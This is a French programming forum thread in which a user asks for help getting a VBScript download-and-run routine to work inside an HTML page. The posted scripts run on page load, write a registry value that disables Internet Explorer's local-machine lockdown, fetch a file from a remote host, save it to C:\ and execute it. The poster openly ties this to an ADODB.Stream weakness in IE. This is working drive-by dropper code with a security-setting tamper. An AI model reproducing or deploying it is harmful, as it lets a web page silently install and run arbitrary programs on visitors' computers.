IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

VBScript Discussion :

Téléchargement Automatique par VBScript


Sujet :

VBScript

  1. #1
    Expert éminent
    Avatar de hackoofr
    Homme Profil pro
    Enseignant
    Inscrit en
    Juin 2009
    Messages
    3 839
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 48
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Enseignant

    Informations forums :
    Inscription : Juin 2009
    Messages : 3 839
    Points : 9 222
    Points
    9 222
    Par défaut Téléchargement Automatique par VBScript
    Salut tout le monde Je poste ce VBScript qui fonctionne pour moi parfaitement quand je le lance comme un fichier VBS.
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    Dim strFileURL,strHDLocation
    ' Mes paramètres 
        strFileURL = "http://hackoo.ifrance.com/Merlin.jpg"
        strHDLocation = "c:\Merlin.jpg"
    ' Récupérer le fichier
        Set Ws = CreateObject("WScript.Shell")
        Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
        objXMLHTTP.open "GET", strFileURL, false
        objXMLHTTP.send()
    If objXMLHTTP.Status = 200 Then
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 1 'adTypeBinary
    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0    'Set the stream position to the start
    Set objFSO = Createobject("Scripting.FileSystemObject")
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
    Set objFSO = Nothing
    objADOStream.SaveToFile strHDLocation
    objADOStream.Close
    Set objADOStream = Nothing
    End If
    Set objXMLHTTP = Nothing 
    Ws.Run strHDLocation
    Set WS = Nothing
    Par contre mon problème,c'est comment puis-je faire cela fonctionner dans le fichier HTML? parce qu'il ne fonctionne pas pour moi, je ne sais pas pourquoi? quelqu'un pourrait me dire ici ce qui ne va pas dans le fichier HTML
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    <html>
     <head>
     <script language=vbscript>
     
     Sub Window_Onload
     Call Download_Me()
     End Sub
     
     Sub Download_Me()
     Dim strFileURL,strHDLocation,LockDown,Keysec1,itemtype
     
    'Autoriser le contenu actif à s'exécuter dans les fichiers de la zone Ordinateur local et l'exécution des scripts.
    LockDown="HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN\"
    Keysec1=LockDown & "iexplore.exe"
    itemtype = "REG_DWORD"
        strFileURL = "http://hackoo.ifrance.com/Merlin.jpg"
        strHDLocation = "c:\Merlin.jpg"
        Set Ws = CreateObject("WScript.Shell")
    	Ws.RegWrite Keysec1,0,itemtype 'la valeur 0 pour Autoriser l'exécution des scripts.
                                      'la valeur 1 pour Bloquer l'exécution des scripts.
        Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
        objXMLHTTP.open "GET", strFileURL, false
        objXMLHTTP.send()
    If objXMLHTTP.Status = 200 Then
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 2 'adTypeBinary
    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0    'Set the stream position to the start
    Set objFSO = Createobject("Scripting.FileSystemObject")
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
    Set objFSO = Nothing
    objADOStream.SaveToFile strHDLocation
    objADOStream.Close
    Set objADOStream = Nothing
    End If
    Set objXMLHTTP = Nothing 
    Ws.Run strHDLocation
    Set WS = Nothing
     End Sub
     </script>
     </head>
     <body>
     <br>
     <input type=button value="Click to Run" name="Download_Me" onclick="Download_Me()">
     </body>
     </html>

  2. #2
    Modérateur
    Avatar de ProgElecT
    Homme Profil pro
    Retraité
    Inscrit en
    Décembre 2004
    Messages
    6 077
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 68
    Localisation : France, Haute Savoie (Rhône Alpes)

    Informations professionnelles :
    Activité : Retraité
    Secteur : Communication - Médias

    Informations forums :
    Inscription : Décembre 2004
    Messages : 6 077
    Points : 17 165
    Points
    17 165
    Par défaut
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    onclick="Download_Me()">
    Il me semble bien que les guillemets sont en trop, mais il y a longtemps que je n'ai pas pratiqué le HTML.
    Soyez sympa, pensez -y
    Balises[CODE]...[/CODE]
    Balises[CODE=NomDuLangage]...[/CODE] quand vous mettez du code d'un autre langage que celui du forum ou vous postez.
    Balises[C]...[/C] code intégré dans une phrase.
    Balises[C=NomDuLangage]...[/C] code intégré dans une phrase quand vous mettez du code d'un autre langage que celui du forum ou vous postez.
    Le bouton en fin de discussion, quand vous avez obtenu l'aide attendue.
    ......... et pourquoi pas, pour remercier, un pour celui/ceux qui vous ont dépannés.
    👉 → → Ma page perso sur DVP ← ← 👈

  3. #3
    Expert éminent
    Avatar de hackoofr
    Homme Profil pro
    Enseignant
    Inscrit en
    Juin 2009
    Messages
    3 839
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 48
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Enseignant

    Informations forums :
    Inscription : Juin 2009
    Messages : 3 839
    Points : 9 222
    Points
    9 222
    Par défaut C'est un problème de sécurité dans Internet Explorer ! ! !
    Citation Envoyé par ProgElecT Voir le message
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    onclick="Download_Me()">
    Il me semble bien que les guillemets sont en trop, mais il y a longtemps que je n'ai pas pratiqué le HTML.
    Salut ProgElecT !
    Non je ne crois pas qu'il soit un problème de guillemets, mais je crois a cause d'un problème de sécurité. Effectivement, Un objet de flux de données ADO représente un fichier en mémoire. L'objet de flux de données contient plusieurs méthodes pour lire et écrire des fichiers binaires et des fichiers texte. Lorsque cette fonctionnalité intégrée est associée à des vulnérabilités connues de la sécurité dans Microsoft Internet Explorer, un site Internet peut exécuter des scripts à partir de la zone Ordinateur local. Ce problème se produit car l'objet ADODB.Stream permet l'accès au disque dur lorsque l'objet ADODB.Stream est hébergé dans Internet Explorer.et Imaginer vous ce qu'on peut faire comme des malicieux scripts Source
    et voila un exemple qui peut executer la calcuatrice aprés avoir cliquer sur un bouton mais le ADODB.Stream ne marche pas car l'objet ne se trouve pas sur l'ordinateur local
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    <html>
    <head>
    <title>Ma page</title>
    </head>
     
    <script language="vbscript">
    Sub Window_Onload
     Call Download_Me()
     End Sub
     
     Sub Download_Me()
     Dim strFileURL,strHDLocation,LockDown,Keysec1,itemtype
     
    'Autoriser le contenu actif à s'exécuter dans les fichiers de la zone Ordinateur local et l'exécution des scripts.
    LockDown="HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN\"
    Keysec1=LockDown & "iexplore.exe"
    itemtype = "REG_DWORD"
        strFileURL = "http://hackoo.ifrance.com/Merlin.jpg"
        strHDLocation = "c:\Merlin.jpg"
        Set Ws = CreateObject("WScript.Shell")
    	Ws.RegWrite Keysec1,0,itemtype 'la valeur 0 pour Autoriser l'exécution des scripts.
                                      'la valeur 1 pour Bloquer l'exécution des scripts.
        Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
        objXMLHTTP.open "GET", strFileURL, false
        objXMLHTTP.send()
    If objXMLHTTP.Status = 200 Then
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 2 'adTypeBinary
    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0    'Set the stream position to the start
    Set objFSO = Createobject("Scripting.FileSystemObject")
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
    Set objFSO = Nothing
    objADOStream.SaveToFile strHDLocation
    objADOStream.Close
    Set objADOStream = Nothing
    End If
    Set objXMLHTTP = Nothing 
    Ws.Run strHDLocation
    Set WS = Nothing
     End Sub
     
    Sub Calc
    Dim WshShell
    ' déclaration d'un objet WshShell
    Set WshShell = CreateObject("Wscript.Shell")
    ' lancement de notepad sur le client
    WshShell.Run "%SystemRoot%\system32\calc.exe "
    ' destruction de l'objet WshShell
    Set WshShell = nothing
    end sub
    </script>
    <body>
    <input type=button value="Click to Run" name="Calc" onclick="Calc">
    </body>
    </html>

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Réponses: 135
    Dernier message: 15/12/2006, 13h56
  2. Réponses: 14
    Dernier message: 27/10/2006, 23h15
  3. téléchargement automatique html
    Par hhafid dans le forum Général JavaScript
    Réponses: 1
    Dernier message: 17/07/2006, 00h22
  4. [Nouveau forum] Notification automatique par email ?
    Par anitshka dans le forum Mode d'emploi & aide aux nouveaux
    Réponses: 17
    Dernier message: 02/06/2006, 08h50
  5. [PHP-JS] téléchargement automatique
    Par titoumimi dans le forum Langage
    Réponses: 4
    Dernier message: 17/01/2006, 17h16

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo